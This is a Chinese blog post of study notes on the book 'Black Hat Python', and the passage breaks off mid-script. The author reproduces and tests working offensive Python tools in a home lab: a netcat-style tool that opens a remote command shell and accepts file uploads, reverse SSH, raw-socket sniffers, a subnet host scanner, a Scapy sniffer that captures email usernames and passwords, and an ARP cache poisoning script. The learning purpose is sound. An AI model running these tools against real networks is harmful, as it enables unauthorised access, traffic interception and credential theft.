Python黑帽子--黑客与渗透测试编程之道

版权声明:本文为博主原创文章,未经博主允许不得转载,转载请注明出处。 https://blog.csdn.net/u012763794/article/details/50612756

↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑为了方便查找,请看目录(手机端就没有目录哦)

注:本文篇幅较大,请耐心等待(power by 《Python黑帽子:黑客与渗透测试编程之道 》)

终于学完了,也敲完代码了,其中有好几个都没成功实践出作者的预期结果,知道我哪里错的,欢迎指点。

最后感谢 用户  mackf qq_31229763 的鼓励



全部代码下载(github):我手敲的代码,中文注释(还添加了自己的注释),也有作者提供的源码,不过作者的不完整,我的还包含了字典什么的[这是个超链接]


第一章 设置Python环境

kali虚拟机

开始用pip安装github3.py,没什么问题

跟着安装WingIDE,下载linux对应位数的版本的deb,就行了,但是产生了依赖


于是修改软件源APT-sources.list

vim /etc/apt/sources.list

将原来的注释掉,加了个阿里的

#阿里云kali源

deb http://mirrors.aliyun.com/kali sana main non-free contrib

deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free

deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free

apt-get update & apt-get upgrade

apt-get -f install

最后再安装deb文件就行了,命令如上面截图



因为wingide收费版才有自动补全,那就用有现成序列号的pycharm4.5吧~~,没补全真难受



第二章 网络基础


TCP客户端


可以看到百度返回的HTTP响应啦


UDP客户端


首先先用nc监听一下9999端口,-u就是udp模式的啦,哈哈发过去了,最后打印出了ip和端口,nc没发数据过来,可能就没收到数据咯

现在就可以比较一下tcp和udp的区别了,最核心的是udp不用连接,因为是无状态的协议

发送和接受的函数也是有区别的,通过实验发现recv和recvfrom的参数是接收几个字符的意思


TCP服务器

#-*- coding:utf8 -*-
import  socket
import threading

bind_ip = "0.0.0.0"     #绑定ip:这里代表任何ip地址
bind_port = 8888

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((bind_ip, bind_port))
# 最大连接数为5
server.listen(5)

print "[*] Listening on %s:%d" % (bind_ip, bind_port)

# 这是客户处理进程
def handle_client(client_socket):
    #打印出客户端发送得到的内容
    request = client_socket.recv(1024)

    print "[*] Received: %s" % request

    #发送一个数据包
    client_socket.send("ACK!")
    client_socket.close()


while True:
    client,addr = server.accept()

    print "[*] Accepted connection from: %s:%d" % (addr[0], addr[1])

    #挂起客户端线程,处理传人的数据
    client_handler = threading.Thread(target=handle_client, args=(client,))
    client_handler.start()

用之前的tcp客户端连接,收到信息了

同时,服务端也收到了客户端发来的信息



取代netcat

代码:

#!/usr/bin/python
#-*- coding:utf8 -*-
import sys
import socket
import getopt
import threading
import subprocess

# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def run_command(command):

    # 删除字符串末尾的空格
    command = command.rstrip()
    # 运行命令并将输出放回
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Failed to execute command.\r\n"
    # 将输出发送
    return output


def client_handler(client_socket):
    global upload
    global execute
    global command

    # 检查上传文件
    if len(upload_destination):
        # 读取所有的字符并写下目标
        file_buffer = ""
        # 持续读取数据直到没有符合的数据
        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        try:
            file_descriptor = open(upload_destination, "wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
        except:
            client_socket.send("Failed to save file to %s\r\n" % upload_destination)

    # 检查命令执行
    if len(execute):
        # 运行命令
        output = run_command(execute)
        client_socket.send(output)


    # 如果需要一个命令行shell,那么我们进入另一个循环
    if command:
        while True:
            # 跳出一个窗口
            client_socket.send("<BHP:#>")

            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)
            #  返回命令输出
            response = run_command(cmd_buffer)
            # 返回响应数据
            client_socket.send(response)

def server_loop():
    global target

    # 如果没有定义目标,那我们监听所有接口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()
        # 分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()

def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接到目标主机
        client.connect((target, port))

        if len(buffer):
            client.send(buffer)

        while True:
            # 现在等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print  response

            # 等待更多的输入
            buffer = raw_input("")
            buffer += "\n"

            # 发送出去
            client.send(buffer)

    except:
        print "[*] Exception! Exiting."

    #关闭连接
    client.close()

def usage():
    print "BHP Net Tool"
    print
    print "Usage: bhpnet.py -t target_host - p port"
    print "-l --listen              - listen on [host]:[port] for incoming connections"
    print "-e --execute=file_to_run -execute the given file upon receiving a connection"
    print "-c --command             - initialize a commandshell"
    print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"
    print
    print
    print "Examples:"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
    print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"
    sys.exit(0)

def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not  len(sys.argv[1:]):
        usage()


    # 读取命令行选项,若没有该选项则显示用法
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])
    except getopt.GetoptError as err:
        print str(err)
        usage()


    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False,"Unhandled Option"

    #我们是进行监听还是仅从标准输入读取数据并发送数据?
    if not listen and len(target) and port > 0:

        # 从命令行读取内存数据
        # 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
        buffer = sys.stdin.read()

        # 发送数据
        client_sender(buffer)

    # 我们开始监听并准备上传文件,执行命令
    # 放置一个反弹shell
    # 取决于上面的命令行选项
    if listen:
        server_loop()

#调用main函数
main()

一开始没在前头打python,默认是不是用python解析运行的,所以会出错,kali就会变成截图了


下面的客户端连接时,连接后要按CTRL+D让其返回shell



如果你不想每次都打python才能运行,就在第一行加入#!/usr/bin/python(如果python默认安装在那个目录的话)




创建一个TCP代理

用法: ./文件名.py [localhost] [localport] [remotehost] [remoteport] [receive_first]           //最后一个参数是 是否从远程服务器(主机)接收数据


可以看到这个是监听本地的80端口,远程主机就是百度的域名,也是80端口,那么我们将代理设置为127.0.0.1 80的话,其实我们只能访问百度,因为开代理时已决定了你要访问的域名(主机),具体看下图


设置完代理,再打开百度,我们在下图可看到GET请求的全部内容,这确实比我们直接访问百度多了一跳。

过程如下:

浏览器将GET请求发送给本地的80端口,又我们的程序监听的是本地的80端口,就会将GET请求发送给远程主机(即我们开启程序时设置的www.baidu.com的80端口),最后再将www.baidu.com返回的数据给回程序,再给回浏览器(那为什么我们访问其他网址或ip不能呢,就是你发送的GET请求给www.baidu.com他会返回你要的网址的内容给你么,那当然不会,所以就只能访问百度域名下的各种目录)


还有返回的响应数据,其实我觉得这好像在抓包了



通过Paramiko使用SSH

首先安装paramiko模块,还是去了点小问题,好像是安装过了吧,要我升级一下?


代码(这里也是可以用密钥认证来登陆的,这里就注释掉了)


可以看到跟我直接用xshell 连接自己的树莓派执行的结果是一致的。



反向ssh

为了适应非默认端口,改了一下作者的客户端代码,修改处已圈出


可能是什么权限什么的,认证成功,最后连接不成功


在kali测试还是一样~~,有谁告诉我原因,我只有那个私钥和作者不一样啊~~~



2017.06.03更新:

感谢largewave用户指出

在下面的Server类中的check_channel_request函数应该return paramiko.OPEN_SUCCEEDED

而不是paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
    def check_auth_password(self, username, password):
        if (username == 'root') and (password == 'lovepython'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

这样即可认证成功,但之后执行命令又出现问题了,

报错如下:

paramiko.ssh_exception.SSHException: Channel closed.

知道的可以继续留言,感谢各位的交流和学习,虽然好久没搞web 了


ssh隧道

建议看一下这篇文章,你会对ssh隧道的理解更直观,我的理解简单来说就是一条管道,其实别人说隧道也觉得差不多啦

http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html


在本地用locate命令找不到paramiko的示例文件rforward.py,最终通过谷歌终于找到了,原来在github上:https://github.com/paramiko/paramiko/tree/master/demos,之前那个test_rsa.key文件也在上面了



一开始将我的树莓派(192.168.88.102)作为ssh客户端,端口为5556,,与kali(10.10.10.145:6666)建立一个反向ssh隧道

在服务端kaili执行

python rforward.py 192.168.88.102 -p 5556  -r 10.10.10.145:6666  --user pi --password


跟着kali端  

nc -l 6666

但在树莓派执行

nc 127.0.0.1 5556
并不能连接,出错了(说是拒绝),详见下图最后一行


于是就尝试kali的22端口

python rforward.py 192.168.88.102 -p 5556  -r 10.10.10.145:22  --user pi --password


可以看到成功了,而且隧道建立后树莓派那边(客户端)的127.0.0.1:5556处于监听状态,我们发送到本地5556的请求会转发到10.10.10.145的22端口啦~~





第三章 网络:原始套接字和流量嗅探


Windows和Linux上的包嗅探

#-*- coding:utf8 -*-


import socket
import os


# 监听主机,即监听那个网络接口,下面的为我的kali的ip
host = "10.10.10.145"


# 创建原始套接字,然后绑定在公开接口上
if  os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP


sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)   #raw的中文是生的意思,大概就是原始套接字的意思吧


sniffer.bind((host, 0)) #这里端口为0,监听所有端口吧~


# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)


# 在Windows平台上,我们需要设置IOCTL以启用混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_NO)


# 读取单个数据包
print sniffer.recvfrom(65565)


# 在Windows平台上关闭混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)


运行结果:可以看到成功抓取到了ping的包,虽然前面的看不懂,但最后的ip机看得懂了



解码IP层

#-*- coding:utf8 -*-

import socket
import os
import struct
from ctypes import *

# 监听主机,即监听那个网络接口,下面的ip为我的kali的ip
host = "10.10.10.145"

# ip头定义
class IP(Structure):
    _fields_ = [
        ("ihl",             c_ubyte, 4),    #ip head length:头长度
        ("version",         c_ubyte, 4),    #版本
        ("tos",             c_ubyte),       #服务类型
        ("len",             c_ushort),      #ip数据包总长度
        ("id",              c_ushort),       #标识符
        ("offset",          c_ushort),      #片偏移
        ("ttl",             c_ubyte),       #生存时间
        ("protocol_num",    c_ubyte),       #协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
        ("sum",             c_ushort),      #头部校验和
        ("src",             c_ulong),       #源ip地址
        ("dst",             c_ulong)        #目的ip地址
    ]

    # __new__(cls, *args, **kwargs)  创建对象时调用,返回当前对象的一个实例;注意:这里的第一个参数是cls即class本身
    def __new__(self, socket_buffer=None):
        return  self.from_buffer_copy(socket_buffer)

    # __init__(self, *args, **kwargs) 创建完对象后调用,对当前对象的实例的一些初始化,无返回值,即在调用__new__之后,根据返回的实例初始化;注意,这里的第一个参数是self即对象本身【注意和new的区别】
    def __init__(self, socket_buffer=None):
        # 协议字段与协议名称的对应
        self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}

        # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示。)
        self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
        self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))

        # 协议类型
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except:
            self.protocol = str(self.protocol_num)



if  os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)   #raw的中文是生的意思,大概就是原始套接字的意思吧

sniffer.bind((host, 0)) #这里端口为0,监听所有端口吧~

# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# 在Windows平台上,我们需要设置IOCTL以启用混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
    while True:
        # 读取数据包
        raw_buffer =  sniffer.recvfrom(65565)[0]

        # 将缓冲区的前20个字节按IP头进行解析
        ip_header = IP(raw_buffer[0:20])

        # 输出协议和通信双方IP地址
        print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)

# 处理CTRL-C
except  KeyboardInterrupt:

    # 如果运行再Windows上,关闭混杂模式
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

在windows 7运行结果,我开的软件比较多,抓取数据速度还是很快


但在kali就又出问题了,不知道为什么,20改成32也不行,因为解析是按20字节解析的


放到我的树莓派去试试吧~,一开始没用sudo,应该是原始套接字需要较高权限,毕竟比较底层的东西

跟着呢就ping了两下百度,也抓取到了,ip是没错的,linux只能抓icmp的,所以只能看到这两条了,不然还能看到树莓派其他软件的网络数据流量





解码ICMP

这是一个完整的ICMP类型的列表: 从百科复制过来的,以便于分析
type=3且code=3就说明主机存在,因为发送UDP数据到关闭的端口会产生type=3且code=3的ICMP包,如果不存在这样的主机他是不会回复的
TYPE CODE Description Query Error
0 0 Echo Reply——回显应答(Ping应答) x  
3 0 Network Unreachable——网络不可达   x
3 1 Host Unreachable——主机不可达   x
3 2 Protocol Unreachable——协议不可达   x
3 3 Port Unreachable——端口不可达   x
3 4 Fragmentation needed but no frag. bit set——需要进行分片但设置不分片比特   x
3 5 Source routing failed——源站选路失败   x
3 6 Destination network unknown——目的网络未知   x
3 7 Destination host unknown——目的主机未知   x
3 8 Source host isolated (obsolete)——源主机被隔离(作废不用)   x
3 9 Destination network administratively prohibited——目的网络被强制禁止   x
3 10 Destination host administratively prohibited——目的主机被强制禁止   x
3 11 Network unreachable for TOS——由于服务类型TOS,网络不可达   x
3 12 Host unreachable for TOS——由于服务类型TOS,主机不可达   x
3 13 Communication administratively prohibited by filtering——由于过滤,通信被强制禁止   x
3 14 Host precedence violation——主机越权   x
3 15 Precedence cutoff in effect——优先中止生效   x
4 0 Source quench——源端被关闭(基本流控制)    
5 0 Redirect for network——对网络重定向    
5 1 Redirect for host——对主机重定向    
5 2 Redirect for TOS and network——对服务类型和网络重定向    
5 3 Redirect for TOS and host——对服务类型和主机重定向    
8 0 Echo request——回显请求(Ping请求) x  
9 0 Router advertisement——路由器通告    
10 0 Route solicitation——路由器请求    
11 0 TTL equals 0 during transit——传输期间生存时间为0   x
11 1 TTL equals 0 during reassembly——在数据报组装期间生存时间为0   x
12 0 IP header bad (catchall error)——坏的IP首部(包括各种差错)   x
12 1 Required options missing——缺少必需的选项   x
13 0 Timestamp request (obsolete)——时间戳请求(作废不用) x  
14   Timestamp reply (obsolete)——时间戳应答(作废不用) x  
15 0 Information request (obsolete)——信息请求(作废不用) x  
16 0 Information reply (obsolete)——信息应答(作废不用) x  
17 0 Address mask request——地址掩码请求 x  
18 0 Address mask reply——地址掩码应答    

#-*- coding:utf8 -*-

import socket
import os
import struct
from ctypes import *

# 监听主机,即监听那个网络接口,下面的ip为我的kali的ip
host = "10.10.10.145"

# ip头定义
class IP(Structure):
    _fields_ = [
        ("ihl",             c_ubyte, 4),    #ip head length:头长度
        ("version",         c_ubyte, 4),    #版本
        ("tos",             c_ubyte),       #服务类型
        ("len",             c_ushort),      #ip数据包总长度
        ("id",              c_ushort),       #标识符
        ("offset",          c_ushort),      #片偏移
        ("ttl",             c_ubyte),       #生存时间
        ("protocol_num",    c_ubyte),       #协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
        ("sum",             c_ushort),      #头部校验和
        ("src",             c_ulong),       #源ip地址
        ("dst",             c_ulong)        #目的ip地址
    ]

    # __new__(cls, *args, **kwargs)  创建对象时调用,返回当前对象的一个实例;注意:这里的第一个参数是cls即class本身
    def __new__(self, socket_buffer=None):
        return  self.from_buffer_copy(socket_buffer)

    # __init__(self, *args, **kwargs) 创建完对象后调用,对当前对象的实例的一些初始化,无返回值,即在调用__new__之后,根据返回的实例初始化;注意,这里的第一个参数是self即对象本身【注意和new的区别】
    def __init__(self, socket_buffer=None):
        # 协议字段与协议名称的对应
        self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}

        # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示。)
        self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
        self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))

        # 协议类型
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except:
            self.protocol = str(self.protocol_num)


class ICMP(Structure):
    #
    _fields_ = [
        ("type",            c_ubyte),       #类型
        ("code",            c_ubyte),       #代码值
        ("checksum",        c_ubyte),       #头部校验和
        ("unused",          c_ubyte),       #未使用
        ("next_hop_mtu",    c_ubyte)        #下一跳的MTU
    ]

    def __new__(self, socket_buffer):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer):
        pass


if  os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)   #raw的中文是生的意思,大概就是原始套接字的意思吧

sniffer.bind((host, 0)) #这里端口为0,监听所有端口吧~

# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# 在Windows平台上,我们需要设置IOCTL以启用混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

try:
    while True:
        # 读取数据包
        raw_buffer =  sniffer.recvfrom(65565)[0]

        # 将缓冲区的前20个字节按IP头进行解析
        ip_header = IP(raw_buffer[0:20])

        # 输出协议和通信双方IP地址
        print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)

        # 如果为ICMP,进行处理
        if ip_header.protocol == "ICMP":

            # 计算ICMP包的起始位置,并获取ICMP包的数据
            offset = ip_header.ihl * 4      #ihl是头部长度,代表32位(即4字节)长的分片的个数 [我的理解是因为一个字节表示一个符号,所以这里的offset要搞成以字节为单位的,为的是下一句的提取数据]
            buf = raw_buffer[offset:offset+sizeof(ICMP)]

            # 解析ICMP数据
            icmp_header = ICMP(buf)

            print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)

# 处理CTRL-C
except  KeyboardInterrupt:

    # 如果运行再Windows上,关闭混杂模式
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)



下面看看ping通的情况 看上表,可看出是一个ping请求,一个ping应答


udp主机存活扫描器

首先要安装netaddr第三方库,这个处理IP非常方便

easy_install netaddr
如果没有这个命令,就要可能下载配置咯,具体百度,谷歌吧~


代码如下,改了一句作者的代码,让要扫描的目标网络接收命令行参数,默认就192.168.1.0/24

#-*- coding:utf8 -*-

import socket
import os
import struct
import threading
import time
import sys
from netaddr import IPNetwork,IPAddress
from ctypes import *

# 监听主机,即监听那个网络接口,下面的ip为我的kali的ip
host = "10.10.10.145"

# 扫描的目标子网
# subnet = "192.168.1.0/24"
# 没有命令行参数,默认192.168.1.0/24
if len(sys.argv) == 1:
    subnet = "192.168.1.0/24"
else:
    subnet = sys.argv[1]

# 自定义的字符串,我们将在ICMP响应中进行核对
magic_message = "PYTHONRULES!"

# 批量发送UDP数据包
def udp_sender(subnet, magic_message):
    time.sleep(5)   #可以说程序暂停5秒吧
    # 建立一个socket对象(SOCK_DGRAM:UDP客户端)
    sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    for ip in IPNetwork(subnet):
        try:
            # 尝试发送magic_message这个消息到子网的每个ip,还用了个不怎么可能用的65212端口
            sender.sendto(magic_message, ("%s" % ip, 65212))
        except:
            pass    #代表什么也不做

# ip头定义
class IP(Structure):
    _fields_ = [
        ("ihl",             c_ubyte, 4),    #ip head length:头长度
        ("version",         c_ubyte, 4),    #版本
        ("tos",             c_ubyte),       #服务类型
        ("len",             c_ushort),      #ip数据包总长度
        ("id",              c_ushort),       #标识符
        ("offset",          c_ushort),      #片偏移
        ("ttl",             c_ubyte),       #生存时间
        ("protocol_num",    c_ubyte),       #协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
        ("sum",             c_ushort),      #头部校验和
        ("src",             c_ulong),       #源ip地址
        ("dst",             c_ulong)        #目的ip地址
    ]

    # __new__(cls, *args, **kwargs)  创建对象时调用,返回当前对象的一个实例;注意:这里的第一个参数是cls即class本身
    def __new__(self, socket_buffer=None):
        return  self.from_buffer_copy(socket_buffer)

    # __init__(self, *args, **kwargs) 创建完对象后调用,对当前对象的实例的一些初始化,无返回值,即在调用__new__之后,根据返回的实例初始化;注意,这里的第一个参数是self即对象本身【注意和new的区别】
    def __init__(self, socket_buffer=None):
        # 协议字段与协议名称的对应
        self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}

        # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示。)
        self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
        self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))

        # 协议类型
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except:
            self.protocol = str(self.protocol_num)


class ICMP(Structure):
    #
    _fields_ = [
        ("type",            c_ubyte),       #类型
        ("code",            c_ubyte),       #代码值
        ("checksum",        c_ubyte),       #头部校验和
        ("unused",          c_ubyte),       #未使用
        ("next_hop_mtu",    c_ubyte)        #下一跳的MTU
    ]

    def __new__(self, socket_buffer):
        return self.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer):
        pass


if  os.name == "nt":
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)   #raw的中文是生的意思,大概就是原始套接字的意思吧

sniffer.bind((host, 0)) #这里端口为0,监听所有端口吧~

# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# 在Windows平台上,我们需要设置IOCTL以启用混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

# 开启多线程发送udp数据包
t = threading.Thread(target=udp_sender, args=(subnet, magic_message))
t.start()

try:
    while True:
        # 读取数据包
        raw_buffer =  sniffer.recvfrom(65565)[0]

        # 将缓冲区的前20个字节按IP头进行解析
        ip_header = IP(raw_buffer[0:20])

        # 输出协议和通信双方IP地址
        #print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)

        # 如果为ICMP,进行处理
        if ip_header.protocol == "ICMP":

            # 计算ICMP包的起始位置,并获取ICMP包的数据
            offset = ip_header.ihl * 4      #ihl是头部长度,代表32位(即4字节)长的分片的个数 [我的理解是因为一个字节表示一个符号,所以这里的offset要搞成以字节为单位的,为的是下一句的提取数据]
            buf = raw_buffer[offset:offset+sizeof(ICMP)]

            # 解析ICMP数据
            icmp_header = ICMP(buf)

            #print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)

            # 检查类型和代码值是否都为3
            if icmp_header.type == 3 and icmp_header.code == 3:
                # 确认响应的主机再我们的目标子网之内
                if IPAddress(ip_header.src_address) in IPNetwork(subnet):
                    # 确认ICMP包中包含我们发送的自定义的字符串
                    if raw_buffer[len(raw_buffer) - len(magic_message):] == magic_message:
                        print "Host Up: %s" % ip_header.src_address



# 处理CTRL-C
except  KeyboardInterrupt:

    # 如果运行再Windows上,关闭混杂模式
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

运行结果:


跟我手机的fing扫描的相比,少了我的手机的ip和另外一个我同学的手机,难道小米有防护?应该只能扫电脑了

值得肯定的是,跟360防蹭网的结果是一样的,说明360的估计方法用的差不多,详细见下一张图的下一张

fing还是挺强大的,能识别主流设备,如树莓派,小米手机等,详细见下图




再测试一下其他网段,通过浏览器打开的测试,有些还是web服务器呢,不过下图的是安装完apache的centos,还没部署代码




第四章 Scapy:网络的掌控者


scapy的安装

首先当然要安装scapy,直接给下载网址
官网也给下,因为可能有更新什么的

在kali的安装步骤
unzip scapy-2.3.2.zip
cd scapy-2.3.2
./setup.py install

scapy简单嗅探初探

有个函数说一下
sniff(filter="",iface="any",prn=function,count=N)
filter跟wireshark的过滤类型一样
iface:就是要嗅探的网卡
prn:就是回调函数,简单理解就是会自动调用,它以收到的数据包对象作为唯一参数,你可以在函数中处理数据包
count:嗅探的个数,留空就为无限个

代码:
#-*- coding:utf8 -*-

from scapy.all import *

# 定义数据包回调函数
def packet_callback(packet):
    print packet.show()

# 开启嗅探器
sniff(prn=packet_callback, count=1)

结果:可以看到从以太网协议,ip协议到tcp协议和数据部分都有了,确实很方便


窃取email认证

#-*- coding:utf8 -*-

from scapy.all import *

# 定义数据包回调函数
def packet_callback(packet):

    if packet[TCP].payload:
        mail_packet = str(packet[TCP].payload)
        if "user" in mail_packet.lower() or "pass" in mail_packet.lower():

            print "[*] Server: %s" % packet[IP].dst
            print "[*] %s" % packet[TCP].payload
    # print packet.show()

# 开启嗅探器(对常见电子邮件端口进行嗅探110(POP3), 25(SMTP), 143(IMAP), store=0:不保留原始数据包,长时间嗅探的话不会暂用太多内存
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)


这里我用命令行模拟邮件登陆(当然我用的是错误的用户名和密码,所以下图是不能登录成功的,但已经说明抓取成功)

我这里以登陆网易的pop3服务器为例(用telnet即可)


利用Scapy进行ARP缓存投毒

------------------------------------------------------------这个就是我们通常所说的ARP欺骗咯
首先要开启对网关和目标ip地址的流量进行转发的功能
echo 1 > /proc/sys/net/ipv4/ip_forward


#-*- coding:utf8 -*-

from scapy.all import *
import os
import sys
import threading
import signal

interface   = "eth0"    #要嗅探的网卡
target_ip   = "10.10.10.140"        #目标ip,这里测试的是另外一台虚拟机winxp
gateway_ip  = "10.10.10.2"        #网关ip,这里是虚拟机的网关
packet_count = 1000

def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):

    # 以下代码调用send函数的方式稍有不同
    print "[*] Restoring target..."
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)

    # 发出退出信号到主线程
    os.kill(os.getpid(), signal.SIGINT)

def get_mac(ip_address):

    # srp函数(发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac)
    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)
    # 返回从响应数据中获取的MAC地址
    for s,r in responses:
        return r[Ether].src
    return None

def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):

    # 构建欺骗目标的ARP请求(),这里没设置hwsrc,默认就是本机咯
    # 简单来说:告诉被攻击机器,本机(攻击机)的mac是网关,就是攻击者的机器是网关
    poison_target = ARP()
    poison_target.op = 2                # 响应报文
    poison_target.psrc = gateway_ip     # 模拟是网关发出的, 其实是我们的机器发出的
    poison_target.pdst = target_ip      # 目的地是目标机器
    poison_target.hwdst = target_mac    # 目标的物理地址是目标机器的mac

    # 构建欺骗网关的ARP请求(),这里没设置hwsrc,默认就是本机咯
    poison_gateway = ARP()
    poison_gateway.op = 2               # 响应报文
    poison_gateway.psrc = target_ip     # 模拟是目标机器发出的,
    poison_gateway.pdst = gateway_ip    # 目的地是网关
    poison_gateway.hwdst = gateway_mac  # 目标的物理地址是网关的mac

    print "[*] Beginning the ARP poison. [CTRL_C to stop]"

    while True:
        try:
            # 开始发送ARP欺骗包(投毒)
            send(poison_target)
            send(poison_gateway)
            # 停两秒
            time.sleep(2)
        except KeyboardInterrupt:
            restore_target(gateway_ip, gateway_mac, target_ip, target_mac)

    print "[*] ARP poison attack finished"
    return





# 设置嗅探的网卡
conf.iface = interface

# 关闭输出
conf.verb = 0

print "[*] Setting up %s" % interface

# 获取网关mac
gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
    print "[!!!] Failed to get gateway MAC. Exiting"
    sys.exit(0)
else:
    print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)

# 获取目标(被攻击的机器)mac
target_mac = get_mac(target_ip)

if target_mac is None:
    print "[!!!] Failed to get target MAC. Exiting"
    sys.exit(0)
else:
    print "[*] Target %s is at %s" % (target_ip, target_mac)

# 启动ARP投毒(欺骗)线程
